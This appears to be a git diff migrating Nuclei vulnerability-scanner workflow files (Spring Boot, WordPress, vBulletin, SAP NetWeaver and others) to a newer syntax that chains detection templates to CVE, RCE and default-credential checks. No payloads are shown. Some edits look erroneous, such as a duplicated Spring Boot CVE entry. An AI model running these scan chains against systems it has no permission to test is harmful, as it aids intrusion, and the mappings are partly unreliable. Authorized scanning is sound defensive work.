# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
workflows:
|
||||
|
||||
- template: technologies/liferay-portal-detect.yaml
|
||||
subtemplates:
|
||||
- template: cves/CVE-2020-7961.yaml
|
||||
@@ -1,19 +1,19 @@
|
||||
id: lotus-domino-workflow
|
||||
|
||||
info:
|
||||
name: Lotus Domino workflow
|
||||
name: Lotus Domino Security Checks
|
||||
author: CasperGN
|
||||
description: A simple workflow that runs all Lotus Domino related nuclei templates on a given target.
|
||||
|
||||
variables:
|
||||
domino: technologies/tech-detect.yaml
|
||||
domino_version: technologies/lotus-domino-version.yaml
|
||||
domino_cve_2005_2428: cves/CVE-2005-2428.yaml
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
logic:
|
||||
|
|
||||
domino()
|
||||
workflows:
|
||||
|
||||
if domino["lotus-domino"] {
|
||||
domino_version()
|
||||
domino_cve_2005_2428()
|
||||
}
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: lotus-domino
|
||||
subtemplates:
|
||||
- template: technologies/lotus-domino-version.yaml
|
||||
subtemplates:
|
||||
- template: cves/CVE-2005-2428.yaml
|
||||
@@ -1,18 +1,18 @@
|
||||
id: magmi-workflow
|
||||
|
||||
info:
|
||||
name: "MAGMI Workflow"
|
||||
author: "dwisiswant0"
|
||||
name: MAGMI Security Checks
|
||||
author: dwisiswant0
|
||||
description: A simple workflow that runs all MAGMI related nuclei templates on a given target.
|
||||
|
||||
variables:
|
||||
magmi_tech: technologies/magmi-detect.yaml
|
||||
magmi_cve1: cves/CVE-2017-7391.yaml
|
||||
magmi_cve2: cves/CVE-2020-5776.yaml
|
||||
magmi_cve3: cves/CVE-2020-5777.yaml
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
logic: |
|
||||
if magmi_tech() {
|
||||
magmi_cve1()
|
||||
magmi_cve2()
|
||||
magmi_cve3()
|
||||
}
|
||||
workflows:
|
||||
|
||||
- template: technologies/magmi-detect.yaml
|
||||
|
||||
subtemplates:
|
||||
- template: cves/CVE-2017-7391.yaml
|
||||
- template: cves/CVE-2020-5776.yaml
|
||||
- template: cves/CVE-2020-5777.yaml
|
||||
@@ -1,18 +1,17 @@
|
||||
id: mida-eframework-workflow
|
||||
|
||||
info:
|
||||
name: Mida eFramework workflow
|
||||
name: Mida eFramework Security Checks
|
||||
author: CasperGN
|
||||
description: A simple workflow that runs all Mida eFramework related nuclei templates on a given target.
|
||||
|
||||
variables:
|
||||
mida: technologies/tech-detect.yaml
|
||||
cve_2020_15920: cves/CVE-2020-15920.yaml
|
||||
mida_xss: vulnerabilities/mida-eframework-xss.yaml
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
logic: |
|
||||
mida()
|
||||
workflows:
|
||||
|
||||
if mida["mida-eframework"] {
|
||||
cve_2020_15920()
|
||||
mida_xss()
|
||||
}
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: mida-eframework
|
||||
subtemplates:
|
||||
- template: vulnerabilities/mida-eframework-xss.yaml
|
||||
@@ -1,15 +0,0 @@
|
||||
id: netsweeper-preauth-rce-workflow
|
||||
|
||||
info:
|
||||
name: Netsweeper PreAuth RCE Workflow
|
||||
author: dwisiswant0
|
||||
|
||||
variables:
|
||||
netsweeper_webadmin: technologies/netsweeper-webadmin-detect.yaml
|
||||
netsweeper_webadmin_cve_1: cves/CVE-2020-13167.yaml
|
||||
|
||||
logic:
|
||||
|
|
||||
if netsweeper_webadmin() {
|
||||
netsweeper_webadmin_cve_1()
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
id: netsweeper-workflow
|
||||
|
||||
info:
|
||||
name: Netsweeper Security Checks
|
||||
author: dwisiswant0
|
||||
description: A simple workflow that runs all netsweeper related nuclei templates on a given target.
|
||||
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
workflows:
|
||||
|
||||
- template: technologies/netsweeper-webadmin-detect.yaml
|
||||
|
||||
subtemplates:
|
||||
- template: cves/CVE-2020-13167.yaml
|
||||
@@ -1,15 +1,16 @@
|
||||
id: rabbitmq-workflow
|
||||
|
||||
info:
|
||||
name: RabbitMQ Workflow
|
||||
name: RabbitMQ Security Checks
|
||||
author: fyoorer
|
||||
description: A simple workflow that runs all rabbitmq related nuclei templates on a given target.
|
||||
|
||||
variables:
|
||||
rabbitmq_dashboard: panels/rabbitmq-dashboard.yaml
|
||||
rabbitmq_default_admin: default-credentials/rabbitmq-default-admin.yaml
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
logic:
|
||||
|
|
||||
if rabbitmq_dashboard() {
|
||||
rabbitmq_default_admin()
|
||||
}
|
||||
workflows:
|
||||
|
||||
- template: panels/rabbitmq-dashboard.yaml
|
||||
|
||||
subtemplates:
|
||||
- template: default-credentials/rabbitmq-default-admin.yaml
|
||||
@@ -1,15 +1,15 @@
|
||||
id: sap-netweaver-workflow
|
||||
|
||||
info:
|
||||
name: SAP NetWaver Workflow
|
||||
name: SAP NetWaver Security Checks
|
||||
author: dwisiswant0
|
||||
description: A simple workflow that runs all SAP NetWaver related nuclei templates on a given target.
|
||||
|
||||
variables:
|
||||
sap_netweaver_as_java: technologies/sap-netweaver-as-java-detect.yaml
|
||||
sap_netweaver_as_java_cve_1: cves/CVE-2020-6287.yaml
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
logic:
|
||||
|
|
||||
if sap_netweaver_as_java() {
|
||||
sap_netweaver_as_java_cve_1()
|
||||
}
|
||||
workflows:
|
||||
|
||||
- template: technologies/sap-netweaver-as-java-detect.yaml
|
||||
subtemplates:
|
||||
- template: cves/CVE-2020-6287.yaml
|
||||
@@ -1,23 +0,0 @@
|
||||
id: springboot-pwner-workflow
|
||||
|
||||
info:
|
||||
name: Spring Boot Pwner
|
||||
author: dwisiswant0
|
||||
|
||||
variables:
|
||||
springboot: security-misconfiguration/springboot-detect.yaml
|
||||
springboot_cve_2018_1271: cves/CVE-2018-1271.yaml
|
||||
springboot_cve_2019_3799: cves/CVE-2019-3799.yaml
|
||||
springboot_cve_2020_5410: cves/CVE-2020-5410.yaml
|
||||
springboot_xxe: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
|
||||
springboot_rce: vulnerabilities/springboot-h2-db-rce.yaml
|
||||
|
||||
logic:
|
||||
|
|
||||
if springboot() {
|
||||
springboot_cve_2018_1271()
|
||||
springboot_cve_2019_3799()
|
||||
springboot_cve_2020_5410()
|
||||
springboot_xxe()
|
||||
springboot_rce()
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
id: springboot-workflow
|
||||
|
||||
info:
|
||||
name: Springboot Security Checks
|
||||
author: dwisiswant0
|
||||
description: A simple workflow that runs all springboot related nuclei templates on a given target.
|
||||
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
workflows:
|
||||
|
||||
- template: security-misconfiguration/springboot-detect.yaml
|
||||
subtemplates:
|
||||
- template: cves/CVE-2018-1271.yaml
|
||||
- template: cves/CVE-2018-1271.yaml
|
||||
- template: cves/CVE-2020-5410.yaml
|
||||
- template: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
|
||||
- template: vulnerabilities/springboot-h2-db-rce.yaml
|
||||
@@ -1,25 +1,21 @@
|
||||
id: vbulletin-workflow
|
||||
|
||||
info:
|
||||
name: vBulletin workflow
|
||||
name: vBulletin Security Checks
|
||||
author: pdteam
|
||||
description: A simple workflow that runs all vBulletin related nuclei templates on a given target.
|
||||
|
||||
variables:
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
vbulletin_tech: technologies/tech-detect.yaml
|
||||
vbulletin_cve_1: cves/CVE-2019-16759.yaml
|
||||
vbulletin_cve_2: cves/CVE-2019-16759-1.yaml
|
||||
vbulletin_cve_3: cves/CVE-2020-12720.yaml
|
||||
workflows:
|
||||
|
||||
# This will run all 3 CVEs if vbulletin tech is found.
|
||||
- template: technologies/tech-detect.yaml
|
||||
|
||||
logic:
|
||||
|
|
||||
vbulletin_tech()
|
||||
|
||||
if vbulletin_tech["vbulletin"] {
|
||||
|
||||
vbulletin_cve_1()
|
||||
vbulletin_cve_2()
|
||||
vbulletin_cve_3()
|
||||
}
|
||||
matchers:
|
||||
- name: vbulletin
|
||||
subtemplates:
|
||||
- template: cves/CVE-2019-16759.yaml
|
||||
- template: cves/CVE-2019-16759-1.yaml
|
||||
- template: cves/CVE-2019-6340.yaml
|
||||
- template: cves/CVE-2020-12720.yaml
|
||||
@@ -1,43 +1,31 @@
|
||||
id: wordpress-workflow
|
||||
info:
|
||||
name: Wordpress workflow
|
||||
author: Kiblyn11 & zomsop82
|
||||
variables:
|
||||
name: Wordpress Security Checks
|
||||
author: kiblyn11 & zomsop82
|
||||
description: A simple workflow that runs all wordpress related nuclei templates on a given target.
|
||||
|
||||
wordpress_tech: technologies/tech-detect.yaml
|
||||
wordpress_dir_listing: files/wordpress-directory-listing.yaml
|
||||
wordpress_user_enum: files/wordpress-user-enumeration.yaml
|
||||
wordpress_wpconfig: security-misconfiguration/wordpress-accessible-wpconfig.yaml
|
||||
wordpress_duplicator_path_traversal: vulnerabilities/wordpress-duplicator-path-traversal.yaml
|
||||
wordpress_wordfence_xss: vulnerabilities/wordpress-wordfence-xss.yaml
|
||||
wordpress_debug_log: files/wordpress-debug-log.yaml
|
||||
wordpress_db_backup: files/wordpress-db-backup.yaml
|
||||
wordpress_emergency_script: files/wordpress-emergency-script.yaml
|
||||
wordpress_installer_log: files/wordpress-installer-log.yaml
|
||||
wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
|
||||
wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
|
||||
w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
|
||||
wordpress_cve: cves/CVE-2019-9978.yaml
|
||||
wordpress_cve_2: cves/CVE-2019-6715.yaml
|
||||
# Supported on Nuclei v2.2.0 (https://github.com/projectdiscovery/nuclei/releases/tag/v2.2.0)
|
||||
# Old workflows still remains valid, and will be working with all nuclei versions.
|
||||
|
||||
logic: |
|
||||
wordpress_tech()
|
||||
workflows:
|
||||
|
||||
if wordpress_tech["wordpress"] {
|
||||
|
||||
wordpress_dir_listing()
|
||||
wordpress_user_enum()
|
||||
wordpress_wpconfig()
|
||||
wordpress_duplicator_path_traversal()
|
||||
wordpress_wordfence_xss()
|
||||
wordpress_debug_log()
|
||||
wordpress_db_backup()
|
||||
wordpress_emergency_script()
|
||||
wordpress_installer_log()
|
||||
wordpress_tmm_db_migrate()
|
||||
wordpress_social_metrics_tracker()
|
||||
w3c_total_cache_ssrf()
|
||||
wordpress_cve()
|
||||
wordpress_cve_2()
|
||||
|
||||
}
|
||||
- template: technologies/tech-detect.yaml
|
||||
matchers:
|
||||
- name: wordpress
|
||||
subtemplates:
|
||||
- template: cves/CVE-2019-6715.yaml
|
||||
- template: cves/CVE-2019-9978.yaml
|
||||
- template: files/wordpress-db-backup.yaml
|
||||
- template: files/wordpress-debug-log.yaml
|
||||
- template: files/wordpress-directory-listing.yaml
|
||||
- template: files/wordpress-emergency-script.yaml
|
||||
- template: files/wordpress-installer-log.yaml
|
||||
- template: files/wordpress-tmm-db-migrate.yaml
|
||||
- template: files/wordpress-user-enumeration.yaml
|
||||
- template: security-misconfiguration/wordpress-accessible-wpconfig.yaml
|
||||
- template: vulnerabilities/sassy-social-share.yaml
|
||||
- template: vulnerabilities/w3c-total-cache-ssrf.yaml
|
||||
- template: vulnerabilities/wordpress-duplicator-path-traversal.yaml
|
||||
- template: vulnerabilities/wordpress-social-metrics-tracker.yaml
|
||||
- template: vulnerabilities/wordpress-wordfence-xss.yaml
|
||||
- template: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
|
||||
Reference in new issue
Block a user